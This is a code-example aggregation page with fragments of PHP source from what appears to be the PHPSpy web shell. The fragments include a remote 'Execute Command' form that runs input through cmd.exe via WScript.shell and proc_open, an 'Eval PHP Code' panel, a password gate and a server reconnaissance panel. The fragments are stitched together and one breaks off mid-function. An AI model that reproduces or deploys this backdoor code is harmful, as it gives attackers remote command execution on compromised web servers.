Exemplo n.º 1
0
        } else {
            echo execute($command);
        }
        p('</pre>');
    }
} elseif ($action == 'phpenv') {
    $upsize = getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $adminmail = isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    !$dis_func && ($dis_func = 'No');
    $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', __FILE__), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No'), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func));
    if ($phpvarname) {
        m($phpvarname . ' : ' . getcfg($phpvarname));
    }
    formhead(array('title' => 'Server environment'));
    makehide('action', 'phpenv');
    makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
    formfooter();
    $hp = array(0 => 'Server', 1 => 'PHP');
    for ($a = 0; $a < 2; $a++) {
        p('<h2>' . $hp[$a] . ' &raquo;</h2>');
        p('<ul class="info">');
        if ($a == 0) {
            for ($i = 1; $i <= 9; $i++) {
                p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
            }
        } elseif ($a == 1) {
            for ($i = 10; $i <= 23; $i++) {
                p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
            }
        }
        p('</ul>');
Exemplo n.º 2
0
     makeinput(array('title' => 'Program', 'name' => 'program', 'value' => $program, 'newline' => 1));
     p('<p>');
     makeinput(array('title' => 'Parameter', 'name' => 'parameter', 'value' => $parameter));
     makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
     p('</p>');
     formfoot();
 }
 formhead(array('title' => 'Execute Command'));
 makehide('action', 'shell');
 if (IS_WIN && IS_COM) {
     $execfuncdb = array('phpfunc' => 'phpfunc', 'wscript' => 'wscript', 'proc_open' => 'proc_open');
     makeselect(array('title' => 'Use:', 'name' => 'execfunc', 'option' => $execfuncdb, 'selected' => $execfunc, 'newline' => 1));
 }
 p('<p>');
 makeinput(array('title' => 'Command', 'name' => 'command', 'value' => $command));
 makeinput(array('name' => 'submit', 'class' => 'bt', 'type' => 'submit', 'value' => 'Execute'));
 p('</p>');
 formfoot();
 if ($command) {
     p('<hr width="100%" noshade /><pre>');
     if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
         $wsh = new COM('WScript.shell');
         $exec = $wsh->exec('cmd.exe /c ' . $command);
         $stdout = $exec->StdOut();
         $stroutput = $stdout->ReadAll();
         echo $stroutput;
     } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
         $descriptorspec = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
         if (is_resource($process)) {
             fwrite($pipes[0], $command . "\n");
function loginpage()
{
    formhead();
    makehide('act', 'login');
    makeinput(array('name' => 'password', 'type' => 'password', 'size' => '20'));
    makeinput(array('type' => 'submit', 'value' => 'Login'));
    formfoot();
    exit;
}
Exemplo n.º 4
0
function shutDownFunction($phpcode, $action, $charsetpage, $charsetpagedb)
{
    $error = error_get_last();
    if ($error['type'] == 1) {
        formhead(array('title' => "Eval PHP Code"));
        makehide('action', 'laev');
        $phpcode = $phpcode == "" ? "<" . "?PHP\n\n\n\n?" . ">" : $phpcode;
        makeinput(array('title' => 'Run From Directory:', 'name' => 'setrunfrom', 'value' => $setrunfrom != "" ? $setrunfrom : str_replace("\\", "/", dirname(__FILE__)) . "/"));
        maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'dataeditor' => 'php', 'value' => htmlspecialchars($phpcode)));
        p('<p><a href="http://w' . 'ww.4ng' . 'el.net/php' . 'spy/pl' . 'ugin/" target="_blank">Get plugins</a></p>');
        p('<script src="http://ajaxorg.github.io/ace-builds/src-noconflict/ace.js"></script>');
        printaceext();
        if (!$mobile) {
            p('<script>var l=document.getElementsByTagName("textarea");for(i=0;i<l.length;++i){if(l[i].hasAttribute("data-editor")){var e=l[i];var t=e.getAttribute("data-editor");var n=document.createElement("div");n.style.cssText="width:"+e.clientWidth+"px;height:"+e.clientHeight+"px;";n.className=e.className;e.parentNode.insertBefore(n,e);e.style.cssText="display:none;";var r=ace.edit(n);r.renderer.setShowGutter(true);r.getSession().setValue(e.value);var i=ace.require("ace/ext/modelist");var s=i.getModeForPath("example.php").mode;r.getSession().setMode(s);r.setTheme("ace/theme/dreamweaver");e.form.onsubmit=function(t){window.onbeforeunload = null;e.value=r.getSession().getValue()}}}</script>');
        }
        formfooter();
        echo '</td></tr></table><div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;"><span style="float:left;">Charset:';
        makeselect(array('name' => 'charsetpage', 'option' => $charsetpagedb, 'selected' => $charsetpage, 'onchange' => 'g(\'' . $action . '\',null,null,null,null,null,null,this.value);'));
        echo '</span><span style="display: block; text-align: right;">';
        debuginfo();
        ob_end_flush();
        echo '</span></div></body></html>';
    }
}